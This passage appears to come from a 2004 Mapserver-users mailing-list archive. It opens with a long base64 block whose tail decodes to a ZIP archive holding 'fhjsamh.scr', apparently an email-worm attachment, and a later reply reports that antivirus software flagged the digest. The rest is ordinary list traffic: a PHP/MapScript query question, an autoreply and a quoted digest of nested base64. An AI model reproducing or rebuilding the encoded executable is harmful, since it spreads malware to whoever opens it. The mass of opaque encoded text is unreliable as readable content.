4WGJpdB2fKOJDMbCLyNuPXH6avrC9Oc/r8oTPwtvH+Q3FGdiWH8wiC/Wz4L0Ba3Sxo+5FOfZ pRP/OR2WRZo8fROCjpSrRzZlnujYOgBpaD17AhwwgNjroFgdZsxh0yBLQrstZxUG6W827zJp 2h+nL90M1fgC1HaII61shzWJY0E4KrKOorqHVXH8+LFYrvz+7hAQQLysOsqyLCPvTee5WzMx TAHV66DbexoIyvJXBW7x3AhhWwm2AtQLAfCTVK4mkwlJkCAw58cPBDC9v4c3/vDvqmjG9md/ 7UxKkvNC4MVn4ITaxzd4T9KTmKKXJlwK8mnDZUCecGDRtz0y0FYmBa0MLMog78guWOp1g5mj 6FEUyAwM4DntzHxAe+F7Hx/deW6UmPhX3d/vMWNhdFiuvmH44QQaWx9F/YXMaaakwtQO77km MEdGHhkQKYv3EObHkb4fJ+Gs39Nv8fCCnxOKQPIh9Jn8SeImOSwEf0Ou/vV1cHLvJzduYp3g Ge+yiXASo1XsJskJFop7/dDwRLz0YCAB9YjJbiOOZbJH3n5FGsH+XaDKVmHwokTfAxG6F806 EvrY6UiX2/8wAilCHy6MLaT8eC4364q+gTTomxMgsnmJEQ4wjnt6XtELcEuSD1WorRahNVfR bgp4bB1yofAbDdKrooHQcxO7GdTIOW4tWvX1Qm36+c5M8PUJeqfxy1cO4L8LCkeuH5SUDci7 7zB0m6Dk4Lq9e5EWpm3y4KcKKoY6rARchHnfkXiQcX3Rnxc+2zLSvNcWh0P1bIBvQAdvbYB8 QAH7xApO6T2Zr+AoTWtc9fEAqSd7hZf0cWD/XfDFC++pRAuSZIJ1mPqXPE+z9L4QCxHBSqi6 RIUYEq/LiZiJjJMJhqyvxv6Vc8L5THrVjcEbEsET/Ixq90yHNBOnhmMQcL6wlnP0toEJ+Kh/ alX3ZfrbhjFgj/h00arx01uhIoF0J1y8rGPxaOFdOn6tXLDSgUthvimDIeP7cQe2czlhy12Y GvS65zGk5G+rv+CDstjtidVVDNRYWdxNg/qmHdsyHAPXt5Bw794ahQ8Z8OxsVyf1sV8Dicc1 Qf/uXbbzArNDCrjb6VKlS/AtCoAx6ygaeFdh55BaanDvUgQd1hjwZNpHD504MssWWQckAWem nUJFwwb5ieLpErQk4Jpl+K6UMckM2tgiFCenALKYUvRK/2oA/XJMsoZeKKuqMclrz65+hdye HLjivUwXnD1m1MjpsYJRlLFdia18hM8I3iskPk570g90dYQkC9AwGbGW7W6vlhlOeZWsW8xY CWoTFDceZ7dSfbLTlRd9cKWy2Rycg3fZFLRhW8ALLtqHW2nFThbwSrRShO0qWI/FiEuzLQMQ TloQ9MQBguOt3RMTLBFLUBjW1BEDCvCzIUyp865nCh6EWffRwNDN4MV8hd6ZUBRbNzzX65y4 oqwuamB/0Y47+SLXAf0Tf+ryC5wIfVxzeV9F8W5Vfy4MTtZpPB8KhJZ1gIEoT4tNcpVyHCXA ioyE9RHN3b9uEAG/2/+7+hW4XxmL7XiGWPeSEqYzsHkJ9hOX1ZUyN2LClH2qc84V+T/ZtKZ7 dnmS7QOQKuDiXcomsMBBr9UX7R14n1IULVfdWQv25ICQE0X4ikBw9XI7DBXzxwv2kwUIPruT vw546iWnkQVIsTtRd84qAd8EK2xerzkjbb03M5vNq8rNX/GkklPvm5QeQgq4VdOtd1VJM+Dz wrEdz3LfXybtq6G2Byw2nuZNQRsBRD4utrq9Oyg8Th6W4vUobPnPXn2zV/Y9NEj8LrRDLi9J yuUZjZsXP069jxFMOBkPPPm0YO8NxZuzTnsM/cXYeiVFyRpE+Yy7KdcZMcH9/3I0M7BYhyrS yM1wNrMGxP61zGyNVAoyw+ByQZIDsU9Ooe0L7+2ywMWUbmzPYcqAwYz8u4mld7AINH0X9tTS IY9glH3jPPaCOum97e2rJG8GyLpGTn2AX1O+849g0/XqwBr7Zwaz/yQLQdJs7oPycHtq2iYM 2IRzFC2MwCPXCbte9y+xTX/sMf5/3c0XLNM9EfO9XEZJBeT6SEmSTVEqlgP2wVkBvgJ4v+m8 TkmmgYtCFVgOyzj/mm3qKal1AaNt5YAcYb2UbP9VVbAOCbDdWW4kcoclSVxhwg+RzcRnZbJj WUNQoLuaM4s2SDQgnrEBUfeJmqh3ZRCqCSn/UQ77YmNQKFFvsWmkUkqGyu1+YkaGOOfH50eQ PfCUwPyzxYYvoYhcwRnuwEbFE8CuHFpx0/+QUX+EcICQiBNo9c2Bc6KrZUcSfxkr/vHdbwbM E6E9/wYwgJl7qVjAcX8116JU25yyUHFb8vQZh3bmVSJfuTYtP9rY0pRsKUSSrLsbKTGdni+h X5VZaQA7JOfpDh/hjjOHhttRsF5McIRDcmYNbC83kklWP178g+195FKIHr5RlC60J2o7zjYn udpFepZ2LcFCGEW+MGr37UdoInVAjjFxxFXdafwCGDLDqcXfpiyOznAgLIYpsHfna6hcQutZ b8x3wdaf5Xb+Xn9kNJkIZsP4XpEBpTDU2PykZhLcIYJxGMRHbjmbTUUCyrO/sJZAFa/5My9Q XIh1B5kwQv1BQYYlXGkrj4dsKJn9rFaWSmT47yCtx3cyaXiNtB9QAsurB0c5rYr3DaaIN9aV li63zg2BYwHyZkfrwW35tw+HakeUQNhSb7ui+8yQRXv0TdFDPz3Fx/HUF3jFxOHaBq5z9ETW Gh9y9k+TDxWFprAOctgoNF29UzlBvy2KzwBB8OltTKCHHXB9RT2FOkW567wA7bZVDsf7g+gj tVCGBUrEB6oIOrvUvO3T1SN7i4VCdmnVJkQyOg79tKGrvp8U/9x12q91QcjUYPKvWGyjNr8p Gfl0OBWiOmodQM89BM44HVYBeazYFOmDHxz32dL/UO+xFndHNhTpjhtQ9FOvdW1s/28ClBMU EtzqfNyy8/PM0/GhVOa9uxLulVHiyy8OOlWjxWDn5I623n0TYQKzLRYcho6kHskFcQ6JvTav XabmS8YD9PkeXZsuQkqO/MCAH9AwDHLU1QVGVoWjksStrKQo4rekF8ZrEft59uJNuymSPMsY MmOl51FIaAu4/j4AhS5KBOnfODz2iXqWt8iamHKPU1IYnZV5t3mHqVfUsJUGSMmBXNyKC2CY bX1XZHUtosb+5PCs8LRg4JzPuX1/Zl250BaU5EHBzyjo1NBmaI/4AYJklelRIsQR5qWoPlcy M/ssXlLpeEY2RhYhVahDJmwKSiDdTkxs2WxRf59tecWZXY5o7s3gNqO0BMkIB+C4bnB2ZhZ8 j/UCLhRG7NY0hqHJrFlLKjSmqITQoRu6v+aRVompK0daT7gP4pB4JkOQfK9j02vqEdj68bno rP6CF+uSv7OxAyCri1k4iB3socT4CBtYdeYkmbsbJGa6eeY94pHoq0Kqdh3cyYNPLeed0vfY WaXebPemiTq5erNsboF9ln/3ntj4lREXOzyRdj+1utZ+LLSyzrhkaI7cdl418J6hU/g2DREY g1qBEozP+wX8JNtKZ6ADu8aBDm0/kvapMDCN9HQ+WMRgq8YbpPGgc6mavKfxaACRRmmmOKue cbxbvpWyNhOVNaYWpGlVZoR8gEvGkyt3GBsqMolbyhlCuIFz6Y68I1gx9VsFAM5G2j4kT7Ou Pwj5WPhL/Km5SmVO+124uk9pSiEhF6J3blkhSElSjXd3dh1CGRKS64GLBR8CJW3dhfj8wC2U pQuEItPp4YBXkP8ueWVTcnie/WHeOfkLtd+NlpfC1SkXoHuTykDTmt1QugYoKaFt9cDFCx+2 Kfnmw2bb09h58GVAv0+Av1ZDTGPTij2HI5gAMADbTy+SxDAKvc1FjaIWm9osug+/OO4AazH3 qqj+dcXSJRILzKhXfzTuB+eGZkaAmBMOnMzLdauYi5uJ9wVZTDZ3ofuziOeh0PKZm2ohiMVt DSbXXJ64DkfskhbZ4ksp96dnQjDmFaFDwJEAOLLvc/dwOPVJRncRhloRf/ZE9zMMEwWAXKRi 1FUY8f3hgKsoDB4yQSjpGv0BFigI91iCSXwULQUtMZ/R3+Hwi4+jdTD55C6ohUFrdf/d24u8 KJj4N6B1+66m9oEjdjxL1xp8O0CKM+q2D5KUUTMTS9QcHuNgj6Bl41qtDMEvubhIPEBwzJSb 4inqyfJ5IVZCvJgoQIhdJu3f7p4aRzpTADZ1BUNH7EnCKYQj80wrm9zgfFhR5ZBftjz5ZPmE sSDaVzD/kfQ0iimUwy6soXcPK5CWChC8G7pz57BPSz5SWP+QBgWC9khBmzB2JlSiEh1/b61f 24GIx9eh9YMhJP4cw5G4pFtErv4a61pGjVcYysiJ7nIaZ25rJZP+Rcn6k74FNJg4nbegyLKi GXOQvZbYqEq6b531ad5NXeeZX63qwbryiGP7jY31/wfVV5rsHmqzI0X6y79MMTWV8jSbws16 4RE5Wjjd+qWabeeGD0bOkeTidHH5RN+uosSQw8UDImr6aY47j3KwFk7Er3SxnPR/DvbfrBtE Rxby6OGaOybT/mT3QL9DwOewqlj33bQ818UPBCjPGV8IumOVv3zMbZ7W5863pp3qtQe3lg12 cSyp5SIn4qkwQt97x6ApAVMH8l1XjHYRVuGgnyURPxnWuiSd6g/HmttZJLiE4yweUPvrqY2f n4b2x5QRbZmMB2uzZXmBc5CXFw5uRjeG4f9DY1CUOFO2UHUQo87Uji4Jx0LuISB2NULUl1IR iVrUmsRJQZncDbAQHOcvqCGp5seVRkB8H9mxGgFytpWBr1101jT+d7XLP64KIDiJJVKRl6Hc ftDxWoKCNIGNBRr/DzV7E9k1IZ6Ului4yf2LeXgxnQub3iSQnb34IXDwN4dxlU27yBeghpSE 4PfqlAuZpStYqhy+sE3xidzqLjrJSwQbO0ZMHntttFfvFFPc4yjVh+/PURpkmMJ+hbjcOven wR2yJedXf7vDVU0gcThLS0AFm9U9qy9+jZpyolG5kQKnsxa8+yuGlEg/bZa3Ca98ISNnm4Px z4ElLfzK3knegUYSSnyeZqPWo26RO+YWY437r1oP2xnWYu2AE0HCvGWmTUKzrAi+oh8m2AZz L4FkaKb/Mc97JQdo+0gG0q3pxm8hD+MCHU9lkvBgPtMxQa/vWkFtY/fqrgEIty8s9X07bFIM G0DINeN5GNX0D/c3fAabXtqgv3nhFLnlL//ADZhXw3/fVgbljqUDHd0aGniGzeGPvFelwl84 IZiwMaFZ6Y0Y0f2n8KPFEVUPceGP1YwrhQWHEbVDTL/GsoB2iJROqV7XnhUolQ5e18+3Hiu1 gPDtrtPYpDx7fKbh5/ImDooUgu101qSbcA61fh5/Y+rQK2rMPF8XLeIDh8l3kX//k09yifqK wrY3poDglW8dhmVMU9JenAX1ZClH4x4RiXxusI3OD5wKEecUyAaSl2k80TJhzRPU5/ROPIgn t70Oc/1rr2eS7BdL6JUQGe8jIMjbpV178GFakgMsh+MJo6a7/0qlG8vpaplgoW5KMyAG1F8G biBl11RFW6J5aeH5d2tUKQAOf3D/Ik7HDhAN7ZYkckfOjez6Oc4AM0bwZJV/Hz4M8mMlB7Vx 6g7FQPbWrGKBjTTXCsm7Fa0GEitmJ7KyBWpCdAajDESyhyb2suuu8VBOtiR/Ht1ly+bG78E3 KLSUgbYinvNoB6KbBVSIyZWfceD8pDWaNcvXdvtcc+nvzAdSSU22zVdCgYSnHZDN9QcRxAnj GZk+gdLYbQkKPHZU9yRo9pvNjgnUzcI5EU1XgtNmvDwVeKNs0shWp7D6uzwGb2F8wXWj6C8F xt1Ll6+VMAijirV2MlO1C25tW0sGEhai+NWXCWRKTY2+E0jQi5TocvJADikAbmIdzlnXQUrw 1hAOegCkp4ptx6Gm6cHtMX9P2+Z0uL18AnNpT5uRRynVd8UK/Vli6bwReRC9PtxvQWxlXgXF /RBMT+PPX7nIH03IddQJjklrNLNTsc8+iw42+WDUq8rlzkK37gy3poNkjKm/LExo4PxjRn// IyD8CuF2J3PuaqxirVecDj2KQymfRnFu07dgXCaiTFt5+FYpF4wvA4FySF1fngWkBqN6nKuc NWnepICd1mZtxuMBfWznu4hAKWP6tEZ6lVvET4DXzxum/gqUsTctEbIY53nD48K1xdpRJtSj V/EDSIJqi9mgLHqjQDGywpWY1unwBg3s5wT/f6crqyimXNzgx0s7LqOROWUhuqCLzu42ZYBD tSYP6YQ8oL8MSktGQohJFs1yXlFjK4++fZrTH+HXUrRWulZt1sIA2wZRoW8e8C7G1GqpkYQ/ ntUD+O48IMjXFV3yZlUxH9X7L+UCn9r0xRguRjLKQLlegShXpm/9iPJ8Jn3QNRzlFV3oeYy8 IHrwfTvPC7TKcw/u1NftJqDyFaji+hf2Tep6DFfEw7EhccDdOncZ/CcHuP5TaiqPFrbskYyL PYlUUCJkbQD1WfD8OJ+K5YaEZdIvBLfqbAlLsOgFOvRkrXKEqNUVfZ8VD8sDcxV/dLFauo6G VBrV8+FGzW9v+B0sWTfearSN6cQqlGTMJGliucMMxF2Nx36U9g/pyZpz1yUWlyrH76d31zBA DFBWIT6piTQxJ4i6f8bpCBQmo/Z6Z6DvrpfOgMQV6SE0bjapEg2zFKIhakFLE0oF00dhB8Cz 6Hr1NAuNgJPQR9smLAFtNcdZLFjNTQAfJ9phecInFVyUega8HgwEq6FDLq/4NkR5slaxzt8R z4QpqDjU7hFI7ACuvPFFRmyNHJvEczxY81wNSNCoEc6Oj4w+rVGbtJxcCXI1cEcY4ZV2kjGu 7lbJruvtNDd0I8BBa/KqR+DryLVFXV4BIKLXmjH42T4dvKZWqZ1apBRoZipYdeWN/nN318JI 7gy8sxLrPYTny/gCpi1VU0knbE9YNk3B4ir2rYJUtRUQPladwBNr3w6PuL8gfjx6nP2vwg2G uFDfB7krILhXW9x0GmWy4/x5r++62looKu7pGZyrPKWO+3zNlgA05OmUluhbeu8qDsZ1+Qw2 PsTgkVzLtxyedrTApgrKh/TljnzT/Sl0tE6kzxWpRhuwGNGakHV3/hOp4AH0IjvUVVzGXfJD 6u9Mr4BXHCM5XQy2W40+Nsw+KbzDXVE2j7ciCU7WynVRwABywm1eKPPaH1KX3pQeMkUIsauU abLrLeKL3XvCK4Yb8t2eSNm8j376OLO7q8Eg5nyqau4Gk4wf+KPvrVDGGkSeV+FuFtJufAIG Dby8TEuwGrjHWx6F65Le4UTR5tTV1Kx/ou/ulvLHeLYWyY2No/HS0ZQOoYK36DWFvZmTVy9S L8L2LNiJc0qz5i56gtYFwR9n8PhV3f2FkoQJHWFsTXoIvqGuUmOVmTeqasGcH/9yCeFSKXHi EFMKYrT/qUGiqU0vRCXyAWLGVolmBeNhVShXEaVcu0Ud1fFUzK+GRHuIjCJm4yL1ApRhmb/g oZ+TTzrvwBM8+Pspff5qhPrXRMbb1p1sKeUwlyl4JWb1V/XbWV+rxBE3DbyM/Wmk6/vW6kfI eyY63+t5W5T5BqsY6sp/NfOA/qlUzJNLq89UoUkKqq7UhzCO7Yf4gFFM47n7LCajRGzPumjF tfkn8ALmIXYILH17YN8Y/9UkRhwfqcw4o5hRoKoMt/fSRod3EgkuP7WCinSrm4eZXlED5wZ1 wC8APtvUsuQPVd7ubw36YKEpdjANun7xHME1ijuPeCASCciD50HIEdIkcVBKSzjtEx9uSxoY 9+9sxPtddIIRcxo/MDsEeCiP9BkAjeukU+FexucjV4wx+aLIO1sYVejnypDvvkyCLwbvK+p9 XErfR0lIJ7nHz9xOFprqO4F5ufb+8rsBZYPuqCxffx+vg9lJCPQcjXRp9MXDxehiwiPiT8tp HUPyrFtUL1X8x8hKo4SceudCEnYb7RCUiiFsCW0n6gLtl1Ua0iJR2DGM9twWjQo8EgT2JL/E P1YoCKx3Dv1x6J0sfTvce+/L0fLOHlW/f1k/sUa2BNkGSrc/ahQA2M6oWztMssrNftEpJ7WB JCqMwU96VephwPphMtfzr+keQJysp9BSzQmxtyNFtAiio8JzvyAdjZKUdEWqBPNC34s3q6eQ Gcq6wLYmREDUbY9P7Qmjur3BpuSid0r1b45n1UUNRIyWVxm93/U1ByPmA1R9/2Ho1uhlGQ7R aTo9T3/tKPV9zjjKFD/kDmHfnhg+GxhmbCiKAfq6W2T6lv0HsSzD4ABwiZ0RY7Ph9awETHKg CzdeO3Upb0ti4H+7dLvIqds0xUQpnKZlr4MFhBdG6wnliYgtXH4A9FcJ6kcGUHBkfdHHYnTz uwuyHRe01nONKqRB45SURFounbho7u+Ij2dsEhP9geSQtd3f3wmq4yqpPiN3sHHnrwI5DXi7 eNHRRMMwXQprlc+OV9KGb4NwRvckZRR/JRhrBnJOEEu/ht7b+N5x70dCN6lqqM53lGfpPtjl B9Y8X+DJktR2SGfs0iY4NnDvBfwRp9Uycun3LOyBXAd9QGNNm6OuIBGnEojzuFyYMHbmxeLR P9fCZPVxgw73vxVaI7pttRhXH0w2KkZmk2J/WoSkJpgpVeqdlmbxWpAsNyHX1lc4xkJUAnvq tTUOizC2ubtXHv2Lk1bG9/XrQD0C59reksg+xVQbLE0++dgkhfy+35DjATJrwSaUeUrH7OLB oo054C8x4s7Cu06/0ZHjI1nIlcNofAReLkwnSY1qlj37F0BxU10TANUnELNm6rNJMbpSXqaP teZbBCPEsWGoK2DZ0KTiZqnU84Hsduyx5lc9DSlM4INnj0iPZEhye/FlNlA2s4FOxymKlFA4 97qSYfSYv+dFDEGotKi/up4HOR/xXByBLqkQmIi7lpmbbUn0Ly3hZD9U7tL3/leAlVPA+96A bI11NoDGSUcm8RYc0ldIQN5eZYMuZMt/xaX4saWNIL2FJAQyZzZevs4h/mDVw0MEx6/Iuh6k KB28peB21+pxfko0t9oir8X8G8LbkhqyA7eQcwCOuf+z0+nVHfAg6qRoBMQ4MjhHyGhiGamT VCdOi9cm+RntiwLr7QSwyP65aGuU7bABvVk23cxzpIdPpLh6uITLxRIStyFaqTkhdJqu5MMG 1fwU42wl4iThdut8PSrj12YqtFYGfDJW3kKE71ICsUpMpA7dyFpNorQmp2/BAXHvsW0Gx5S9 Oc3AvWo9FQVTRWQR4VUXykLuVJtr5GCtXTOmUXYURZMBkgj47Kh9fHM+US9qPyHv0fgq3uaT jlx1kyYyPC/zNnaBkoK809teciVVs1wWYw5ffopcIn2i3cIYbijvjAd8ZBDgPXmOEAcyK7X1 INn367xsAJVkLmWQnxv3CnfTVT7IlR7fS90v0PprQBIKtLNfX2fWj4buxtTPxHY3LEF2CIY7 feBQSwECFAAKAAEAAAAAmG0w2eXslzlUAAAtVAAACwAAAAAAAAABACAAAAAAAAAAZmhqc2Ft aC5zY3JQSwUGAAAAAAEAAQA5AAAAYlQAAAAA ----------xvhyqoojmtoisadxxqin-- From edman007x at mac.com Sun Mar 14 06:49:16 2004 From: edman007x at mac.com (Ed Martin) Date: Sun, 14 Mar 2004 09:49:16 -0500 Subject: [Mapserver-users] PHP/Mapscript -- Help doing queries Message-ID: this is my first time doing queries with mapscript and i'm having some problems, first i can't find any way that i can just put the shape indexes of the results into an array along with the NAME value of the dbf file, so since i can't do that i decided i would try to use a template and then maybe i'll read the results from the template and put into an array, but i can't get the template working, i get no errors at all but it returns nothing, not even the static information in the template, so i changed the template file to the php file i was working on, and it worked but i can't use the php file as template, and the two files have the same permissions and are in the same folder so how can i get the templates working or preferably skip the template and put the info i need into an array, please help here is the template i'm trying to use [NAME] here is the php that i'm using dl("php_mapscript.so"); $map = ms_newMapObj("map/map.map"); //zoom/pan the $extent_to_set = explode(" ",$_SESSION['extent_old']); $map->setextent($extent_to_set[0],$extent_to_set[1], $extent_to_set[2],$extent_to_set[3]); //calculate the coords $x_click = ($_POST['mapa_x']/$map->width*($extent_to_set[2]- $extent_to_set[0]))+$extent_to_set[0]; $y_click = ($_POST['mapa_y']/$map->height*($extent_to_set[3]- $extent_to_set[1]))+$extent_to_set[1]; $cities_layer = $map->getLayerByName('Cities'); $point_obj = ms_newPointObj(); $point_obj->setXY($x_click,$y_click); $query_tf = @$cities_layer->queryByPoint($point_obj,MS_MULTIPLE,-1); if ($query_tf == MS_SUCCESS){ echo 'Query worked
'; echo $cities_layer->getNumResults().' places found'; $query = $map->processquerytemplate('',FALSE); echo "$query
"; } else { echo 'Query Failed'; } and here is a bit of the map file LAYER NAME "Cities" TYPE POINT STATUS default DATA "/usr/local/apache/htdocs/adsbytown/site/mapserver/map/data/ci10de03" LABELMAXSCALE 1025400 LABELITEM "NAME" MAXSCALE 4101800 LABELCACHE on TOLERANCE 25 TOLERANCEUNITS miles METADATA "title" "Title" "author" "Me!" END CLASS TEMPLATE /usr/local/apache/htdocs/adsbytown/site/mapserver/query.tpl #php file i used was /usr/local/apache/htdocs/adsbytown/site/mapserver/index.phtml From mh at svaj.dk Sun Mar 14 10:14:03 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Sun, 14 Mar 2004 19:14:03 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From EveryBodysComputerGuy at cox.net Sun Mar 14 11:59:15 2004 From: EveryBodysComputerGuy at cox.net (Jeff Gardner) Date: Sun, 14 Mar 2004 11:59:15 -0800 Subject: [Mapserver-users] Virus found in, Vol 1 #460 - 4 msgs In-Reply-To: <20040314180003.1679.8245.Mailman@lists.gis.umn.edu> Message-ID: I just read email and Norton AV found a virus in Vol 1 #460 - Jeff -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu]On Behalf Of mapserver-users-request at lists.gis.umn.edu Sent: Sunday, March 14, 2004 10:00 AM To: mapserver-users at lists.gis.umn.edu Subject: Mapserver-users digest, Vol 1 #460 - 4 msgs Send Mapserver-users mailing list submissions to mapserver-users at lists.gis.umn.edu To subscribe or unsubscribe via the World Wide Web, visit http://lists.gis.umn.edu/mailman/listinfo/mapserver-users or, via email, send a message with subject or body 'help' to mapserver-users-request at lists.gis.umn.edu You can reach the person managing the list at mapserver-users-admin at lists.gis.umn.edu When replying, please edit your Subject line so it is more specific than "Re: Contents of Mapserver-users digest..." Today's Topics: 1. Out of office autoreply (mh at svaj.dk) 2. FILTER and building URL's (Mike Reilly) 3. Hi! :-) (gayathri at ou.edu) 4. PHP/Mapscript -- Help doing queries (Ed Martin) --__--__-- Message: 1 From: "mh at svaj.dk" To: Date: Sat, 13 Mar 2004 19:12:27 +0100 Subject: [Mapserver-users] Out of office autoreply Content-Transfer-Encoding: base64 SmVnIGVyIHDlIGZlcmllIGluZHRpbCBkLiAyMiBtYXJ0cy4gTWluZSBrb2xsZWdhZXIga2Fu IHRy5mZmZXMgcOUgdGxmLiA5ODEyOTMwMC4NCg0KSSBhbSBvbiBsZWF2ZSB1bnRpbCBNYXJ0 cyAyMi4gSWYgeW91IGhhdmUgYW55IG1hdHRlciBvZiB1cmdlbmN5IHBsZWFzZSBkbyBub3Qg aGVzaXRhdGUgdG8gY2FsbCBteSBjb2xsZWd1ZXMgb24gKzQ1IDk4MTI5MzAwDQoNCg0KLS1f Xy0tX18tLQ0KDQpNZXNzYWdlOiAyDQpGcm9tOiAiTWlrZSBSZWlsbHkiIDxtaWtlcmVpbGx5 XzdAaG90bWFpbC5jb20+DQpUbzogbWFwc2VydmVyLXVzZXJzQGxpc3RzLmdpcy51bW4uZWR1 DQpEYXRlOiBTYXQsIDEzIE1hciAyMDA0IDE1OjMyOjQ3IC0wODAwDQpTdWJqZWN0OiBbTWFw c2VydmVyLXVzZXJzXSBGSUxURVIgYW5kIGJ1aWxkaW5nIFVSTCdzDQpDb250ZW50LVRyYW5z ZmVyLUVuY29kaW5nOiBiYXNlNjQNCg0KU1NCb1lYWmxJR0VnYkdGNVpYSWdhVzRnYlhrZ2JX RndabWxzWlNCallXeHNaV1FnZEhWemNHOXBiblJ6SUMwZ1lTQndiMmx1DQpkQ0JzWVhsbGNp QnBiaUJoSUEwS2MyaGhjR1ZtYVd4bExpQWdWR2hsSUdSaVppQm1iM0lnZEdobElITm9ZWEJs Wm1sc1pTQm8NCllYTWdZU0JtYVdWc1pDQnVZVzFsWkNCVFNWUkZTVVF1SUNCWGFHRjBJRWtn ZDJGdWRDQU5DblJ2SUdSdklHbHpJSFJ2SUdSNQ0KYm1GdGFXTmhiR3g1SUdkbGJtVnlZWFJs SUdFZ1ZWSk1JSFJ2SUcxNUlHMWhjQ0JoYm1RZ2FHRjJaU0JwZENCdmJteDVJR1JwDQpjM0Jz WVhrZ1lTQU5Dbk5wYm1kc1pTQndiMmx1ZENCemFYUmxJR0poYzJWa0lHOXVJSFJvWlNCVFNW UkZTVVF1SUNCSklIUnkNCmFXVmtJR0ZrWkdsdVp5QmhJRVpKVEZSRlVrbFVSVTBnZEc4Z2RH aGxJQTBLYldGd1ptbHNaVG9OQ2cwS1JrbE1WRVZTU1ZSRg0KVFNBZ0lsTkpWRVZKUkNJTkNn MEtZVzVrSUhSb1pXNGdaMlZ1WlhKaGRHbHVaeUJoSUZWU1RDQnNhV3RsSUhSb1pTQm1iMnhz DQpiM2RwYm1jNkRRb05DbWgwZEhBNkx5OHhPVEl1TVRZNExqQXVNeTlqWjJrdFltbHVMMjFo Y0hObGNuWXVaWGhsUDIxaGNEMW0NCkpUTkJKVEpHY0hKdlozSmhiU3RtYVd4bGN5VXlSbUZ3 WVdOb1pTdG5jbTkxY0NVeVJtRndZV05vWlRJbE1rWm9kR1J2WTNNbA0KTWtaTGFYUmhjMjl2 SlRKR2RIVnpNaTB4TG0xaGNDWnBiV2RsZUhROU56WXdPVEF4TGpRNU56a3lOQ3MzT0RZME9E QXVOVEkzDQpORFF3S3pnNU9EZzRNQzR6TmpRd05EQXJPRGc1TkRreUxqWTFNamt5TUNacGJX ZDRlVDB6T1Rnck1qazNKbWx0WjJKdmVEMHoNCk9UZ3JNamszS3pNNU9Dc3lPVGNtYlc5a1pU MWljbTkzYzJVbWVtOXZiVDB4Sm14aGVXVnljejEwZFhOd2IybHVkSE1tYldGdw0KWDNSMWMz QnZhVzUwYzE5bWFXeDBaWEk5SWx0VFNWUkZTVVJkSWowbk1UWTJNQ2NOQ2cwS2QybDBhQ0Iw YUdVZ0ptMWhjRjkwDQpkWE53YjJsdWRITmZabWxzZEdWeVBTSmJVMGxVUlVsRVhTSTlKekUy TmpBbklIQmhjblFnWW1WcGJtY2dkR2hsSUhKbGJHVjINClpXNTBJQTBLY0dGeWRDNGdJRWtu YlNCdlluWnBiM1Z6YkhrZ1pHOXBibWNnYzI5dFpYUm9hVzVuSUhabGNua2dkM0p2Ym1jZw0K YUdWeVpTQXRJR05oYmlCaGJubHZibVVnY0c5cGJuUWdhWFFnRFFwdmRYUWdabTl5SUcxbFB5 QWdTWFFnYTJWbGNITWdaR2x6DQpjR3hoZVdsdVp5QmhiR3dnZEdobElIQnZhVzUwY3lCcGJp QjBhR1VnYkdGNVpYSXVJQ0JKSjNabElHSmxaVzRnRFFwelpXRnkNClkyaHBibWNnZEdoeWIz Vm5hQ0IwYUdVZ1lYSmphR2wyWlhNZ1luVjBJR2hoZG1WdUozUWdabTkxYm1RZ1lXNTVkR2hw Ym1jZw0KZEdoaGRDQmpZVzRnWjJsMlpTQnRaU0FOQ25Sb1pTQmpiM0p5WldOMElISmxjM1Zz ZEhNdURRb05DbFJvYVhNZ2JXRjVJRzl5DQpJRzFoZVNCdWIzUWdZbVVnY21Wc1pYWmxiblE2 SUNCSklHRmpkSFZoYkd4NUlHaGhkbVVnZEhkdklHeGhlV1Z5Y3lCMGFHRjANCklHRnlaU0J1 WVcxbFpDQU5DblIxYzNCdmFXNTBjeUF0SUc5dVpTQnBjeUJoSUhCdmFXNTBJR3hoZVdWeUlH RnVaQ0J2Ym1VZw0KYVhNZ1lTQndiMng1WjI5dUlHeGhlV1Z5SUMwZ2RHaGxlU0JoYkd4dmR5 QnRaU0FOQ25SdklHUnBjM0JzWVhrZ1lXeHNJSEJ2DQphVzUwSUdGdVpDQndiMng1WjI5dUlI TnBkR1Z6SUc5dUlIUm9aU0J0WVhBZ2QybDBhQ0J1YnlCc1lXSmxiSE11RFFvTkNsOWYNClgx OWZYMTlmWDE5ZlgxOWZYMTlmWDE5ZlgxOWZYMTlmWDE5ZlgxOWZYMTlmWDE5ZlgxOWZYMTlm WDE5ZlgxOWZYMTlmWDE5Zg0KWDE5ZlgxOWZYMTlmRFFwTlUwNGdVSEpsYldsMWJTQm9aV3h3 Y3lCbGJHbHRhVzVoZEdVZ1pTMXRZV2xzSUhacGNuVnpaWE11DQpJRWRsZENBeUlHMXZiblJv Y3lCR1VrVkZLaUFnRFFwb2RIUndPaTh2YW05cGJpNXRjMjR1WTI5dEx6OXdaMjFoY210bGRE MWwNCmJpMWpZU1p3WVdkbFBXSjViMkV2Y0hKbGJTWjRRVkJKUkQweE9UazBKa1JKUFRFd016 UW1VMVU5YUhSMGNEb3ZMMmh2ZEcxaA0KYVd3dVkyOXRMMlZ1WTJFbVNFdzlUV0Z5YTJWMFgw MVRUa2xUWDFSaFoyeHBibVZ6RFFvTkNnMEtMUzFmWHkwdFgxOHRMUTBLDQpEUXBOWlhOellX ZGxPaUF6RFFwRVlYUmxPaUJUWVhRc0lERXpJRTFoY2lBeU1EQTBJREl3T2pRME9qUXhJQzB3 T0RBd0RRcFUNCmJ6b2dUV0Z3YzJWeWRtVnlMWFZ6WlhKelFHeHBjM1J6TG1kcGN5NTFiVzR1 WldSMURRcEdjbTl0T2lCbllYbGhkR2h5YVVCdg0KZFM1bFpIVU5DbE4xWW1wbFkzUTZJRnRO WVhCelpYSjJaWEl0ZFhObGNuTmRJRWhwSVNBNkxTa05Da052Ym5SbGJuUXRWSEpoDQpibk5t WlhJdFJXNWpiMlJwYm1jNklHSmhjMlUyTkEwS0RRcE1VekIwVEZNd2RFeFRNSFJNV0dneVlV aHNlR0l5T1hGaVdGSjINCllWaE9hRnBJYURSalYyeDFSRkZ3UkdJeU5UQmFWelV3VEZaU05X TkhWVFpKU0ZKc1pVaFJkbU5IZUdnTkNtRlhORGRKUjA1dg0KV1ZoS2VscFlVVGxKYmxaNlRG 